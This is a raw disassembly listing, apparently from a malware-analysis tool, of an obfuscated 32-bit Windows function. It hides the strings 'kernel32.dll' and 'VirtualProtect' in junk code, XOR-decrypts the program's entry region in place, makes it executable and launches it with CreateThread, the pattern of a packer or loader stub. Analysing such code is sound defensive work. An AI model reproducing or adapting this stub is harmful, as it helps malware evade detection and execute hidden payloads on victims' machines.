Function at 0x1ae69d7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, esi
xchg esi, ecx
pushfd
push 0x6543d4ef
add esp, 4
popfd
call fcn.01ae6da8
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 0xd8]
push edx
pop edx
mov ebx, 0x61
push ecx
push eax
pop eax
pop ecx
add bx, 0xa
xchg esi, esi
pushfd
inc ebx
dec ebx
popfd
mov word [eax], bx
mov eax, eax
xchg edx, ecx
xchg ecx, edx
sub bx, 6
mov edi, edi
pushfd
push edi
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
inc ecx
dec ecx
popfd
pushfd
push 0xa00d3f09
add esp, 4
popfd
add bx, 0xd
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 4], bx
mov eax, eax
xchg ecx, edx
xchg edx, ecx
sub bx, 4
push esi
push edx
pop edx
pop esi
pushfd
xor eax, 0x1b100aff
xor eax, 0x1b100aff
popfd
mov word [eax + 6], bx
push edx
push eax
pop eax
pop edx
xchg edi, edi
sub bx, 9
xchg ecx, eax
xchg ecx, eax
mov word [eax + 8], bx
xchg ebx, esi
xchg esi, ebx
add bx, 7
pushfd
push 0x88f5830d
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
mov word [eax + 0xa], bx
pushfd
push 0xddeda37a
add esp, 4
popfd
sub bx, 0x39
push eax
push ebx
pop ebx
pop eax
pushfd
inc edi
dec edi
popfd
mov word [eax + 0xc], bx
push ebx
pop ebx
pushfd
push ebx
add esp, 4
popfd
dec bx
xchg edi, edi
mov word [eax + 0xe], bx
xchg edx, edx
sub bx, 4
xchg ebx, ebx
pushfd
xor eax, 0x12203513
xor eax, 0x12203513
popfd
mov word [eax + 0x10], bx
pushfd
inc edx
dec edx
popfd
add bx, 0x36
push edx
push ecx
pop ecx
pop edx
mov word [eax + 0x12], bx
xchg ecx, eax
xchg ecx, eax
add bx, 8
push esi
pop esi
mov word [eax + 0x14], bx
push esi
pop esi
mov word [eax + 0x16], bx
pushfd
xor ebx, 0xa3dbd35e
xor ebx, 0xa3dbd35e
popfd
pushfd
push 0xd75bd18e
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
inc ecx
dec ecx
popfd
push edi
push eax
pop eax
pop edi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg ecx, ecx
push esi
push edx
pop edx
pop esi
mov dword [ebp - 0x10], eax
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0xd8]
xchg edx, edx
pushfd
xor ecx, 0x494c10ba
xor ecx, 0x494c10ba
popfd
mov ebx, 0x61
mov ebx, ebx
pushfd
push ebx
add esp, 4
popfd
sub bl, 0xb
mov esi, esi
mov byte [eax], bl
pushfd
inc ebx
dec ebx
popfd
pushfd
push 0xec747c95
add esp, 4
popfd
add bl, 0x13
xchg edx, eax
xchg edx, eax
mov byte [eax + 1], bl
push ebx
push eax
pop eax
pop ebx
add bl, 9
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 2], bl
mov edi, edi
add bl, 2
push edi
push esi
pop esi
pop edi
mov byte [eax + 3], bl
pushfd
xor esi, 0x9169298a
xor esi, 0x9169298a
popfd
inc bl
pushfd
xor eax, 0xcf189f84
xor eax, 0xcf189f84
popfd
mov byte [eax + 4], bl
pushfd
push edi
add esp, 4
popfd
sub bl, 0x14
pushfd
xor edx, 0xcc34a185
xor edx, 0xcc34a185
popfd
push esi
pop esi
mov byte [eax + 5], bl
push edi
pop edi
pushfd
inc ebx
dec ebx
popfd
add bl, 0xb
push eax
push esi
pop esi
pop eax
mov byte [eax + 6], bl
pushfd
inc ebx
dec ebx
popfd
sub bl, 0x1c
xchg edi, edi
mov byte [eax + 7], bl
push ecx
pop ecx
pushfd
push 0x89235c73
add esp, 4
popfd
add bl, 0x22
xchg esi, esi
pushfd
push 0x6e9c8482
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
push edi
add esp, 4
popfd
sub bl, 3
pushfd
xor ebx, 0x2c885ee6
xor ebx, 0x2c885ee6
popfd
mov ecx, ecx
mov byte [eax + 9], bl
mov edx, edx
add bl, 5
mov esi, esi
mov byte [eax + 0xa], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0xf
push ecx
pop ecx
mov byte [eax + 0xb], bl
push esi
pop esi
sub bl, 2
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 0xc], bl
pushfd
xor ecx, 0x949d9265
xor ecx, 0x949d9265
popfd
xchg ecx, ecx
add bl, 0x11
xchg edi, edi
push esi
pop esi
mov byte [eax + 0xd], bl
mov ebx, ebx
mov byte [eax + 0xe], 0
push edi
push ecx
pop ecx
pop edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg edx, ebx
xchg ebx, edx
pushfd
push edi
add esp, 4
popfd
mov dword [ebp - 0xc], eax
mov ecx, ecx
lea eax, [ebp - 8]
mov eax, eax
xchg edi, edi
push eax
push 4
push 0x5b9671
push entry0
call dword [ebp - 0xc]
pushfd
xor edi, 0x196c0246
xor edi, 0x196c0246
popfd
mov edi, entry0
xchg ecx, ecx
mov esi, 0x40100e
pushfd
push ecx
add esp, 4
popfd
mov ecx, 0x5b9671
xchg esi, eax
xchg esi, eax
push edi
pop edi
mov edx, 0x383a1542
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x71648fa6
add esp, 4
popfd
mov ebx, 0xf9e8b7ff
pushfd
push 0xbf5fccdd
add esp, 4
popfd
mov edi, edi
cld
mov ebx, ebx
lodsb al, byte [esi]
xchg esi, esi
xor al, dl
nop
stosb byte es:[edi], al
xchg ebx, ebx
ror edx, 5
xchg ecx, ecx
imul edx, edx, 7
mov ecx, ecx
test ebx, 1
nop
je 0x1ae6d02
nop
add esi, 4
xchg ebx, ebx
ror ebx, 1
mov ecx, ecx
dec ecx
mov eax, eax
test ecx, ecx
mov ecx, ecx
jne 0x1ae6cde
xchg ebx, edi
xchg edi, ebx
pushfd
push 0xc2c3fa81
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
push 0x4b5244d9
add esp, 4
popfd
push eax
push 0x20
push 0x5b9671
push entry0
call dword [ebp - 0xc]
pushfd
push 0xf3e09d9a
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
xor eax, 0x7dada83b
xor eax, 0x7dada83b
popfd
xchg esi, esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov ebx, ebx
pushfd
xor edx, 0xe5b5008
xor edx, 0xe5b5008
popfd
pushfd
push 0x7fb4ea7f
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
mov ecx, ecx
jmp 0x1ae6d79